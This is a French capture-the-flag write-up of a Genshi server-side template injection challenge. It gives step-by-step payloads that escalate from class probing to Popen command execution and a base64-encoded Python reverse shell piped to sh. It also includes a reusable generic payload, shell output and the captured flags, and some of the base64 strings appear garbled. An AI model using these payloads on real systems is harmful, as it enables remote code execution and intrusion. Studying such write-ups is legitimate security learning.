

Nous nous trouvons face à un simple site web permettant de rendre du texte html. Nous avons d'abord provoqué une erreur, ce qui nous a donné le type de l'outil qui lit le code que nous lui soumettons. Il s'agit ici de **Genshi**.

```
<html>
${afe}
</html>
```

```
<!doctype html>
<html lang=en>
<head>
<title>genshi.template.eval.UnDEFINEDError: "afe" not defined
// Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css">
<link rel="shortcut icon"
href="?__debugger__=yes&cmd=resource&f=console.png">
<script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script>
<script>
var CONSOLE_MODE = false,
    EVALEX = true,
    EVALEX_TRUSTED = false,
    SECRET = "3MWswekXYhnnQPQpVihF";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>UndefinedError</h1>
```

En allant consulter des documentations relatives à Genshi, nous comprenons qu'il est possible de faire une injection de template, de façon similaire à jinja2:

```
<html>
${().__class__.__mro__[1]}
</html>
```

```
<html>
&lt;class 'object'&gt;
</html>
```

Il s'agit ensuite de trouver l'index correspondant à une classe python qui nous intéresserait:

```
<html>
${().__class__.__mro__[1].__subclasses__()[528]('whoami',shell=True,stdout=-1).communicate()[0].strip()}
</html>
```

```
<html>
9910497108108
</html>
```

Nous avons notre exécution de commandes !

Cependant, la sortie est corrompue, mais qu'importe, c'est l'heure du reverse shell.

Nous constatons d'abord l'existence des commandes **base64**, **sh** et **python** avant de générer un reverse shell avec <https://www.revshells.com/>:

Python #1

Python #2

Python3 #1

Python3 #2

Python3 shortest

```
cH10aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzbn2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWwN
0KCgiMTkyLjE20C43MC4xOCIsMTIzNDUpKTtbb3MuZHVwMihzLmZpbGVubygpbG9pZm9yIGYgaW4oMC
wxLDIipXTtdHkuc3Bhd24oInNoIikn
```

Nous n'avons ensuite qu'à lancer cette commande en ayant netcat qui attend patiemment:

```
<html>
${().__class__.__mro__[1].__subclasses__()[528]}('echo
"cHl0aG9uMyATYyAnaW1wb3J0IG9zLHB0eSxzbnRZXQ7cz1zb2NrZXQuc29ja2V0Kk7cy5jb25uZWNOKE
E2OC43MC4xOCIsMTIzNDUpKTtbb3MuZHVwMihzLmZpbGVubygpLGYPZm9yIGYgaW4oMCwxLDlpXTt0
hd24oInNolika" | base64 -d | sh',shell=True,stdout=-1).communicate()[0].strip())
</html>
```

```
~/app $ ^[[1;9Rwhoami
whoami
chall
~/app $ ^[[4;9Rid
id
uid=1337(chall) gid=1337(chall) groups=1337(chall)
~/app $ ^[[7;9Rls -la
ls -la
total 28
drwxr-xr-x 1 chall chall 4096 Mar 18 16:41
```

Après un peu de recherche, nous trouvons le drapeau dans le répertoire
/home/chall/app/flag/flag.txt:

```
ls
flag.txt
~/app/flag $ ^[[57;14Rcat flag.txt
cat flag.txt
ZiTF{d97c87df582b773909af18f0f4619023}~/app/flag $ ^
ls
flag.txt
~/app/flag $ ^[[57;14Rpwd
pwd
/home/chall/app/flag
```

Drapeau: **ZiTF{d97c87df582b773909af18f0f4619023}**

payload utilisé:

```
${().__class__.__mro__[1].__subclasses__()[LE_NUMERO_DE_LA_CLASSE_POPEN]
('TA_COMMANDE_ICI',shell=True,stdout=-1).communicate()[0].strip()}
```

Pour le second challenge, le même payload fonctionnait. La différence étant que le flag est désormais à l'emplacement /home/chall/58013ed12f48eab70f5f886752e9361d/flag/flag.txt.

```
cd /flag
~/app/58013ed12f48eab70f5f886752e9361d/flag $ l^[[57;47Rs -la
ls -la
total 12
drwxr-xr-x  1 chall  root    4096 Mar 10 14:50 .
drwxr-xr-x  1 chall  root    4096 Mar 10 14:50 ..
-rw-r--r--  1 chall  root     38 Mar 10 14:47 flag.txt
~/app/58013ed12f48eab70f5f886752e9361d/flag $ ^[[57;47Rcat flag.txt
cat flag.txt
```

De cette façon, tout ceux qui avait déchiffré la sortie en codes ascii concaténés ont du bien peiner à retrouver le nom du dossier ^^.

Par chance, le reverse shell est toujours fonctionnel et cela nous permet de dire:

Drapeau: ZiTF{0a433ffb9929665bd6b224d2532713b5}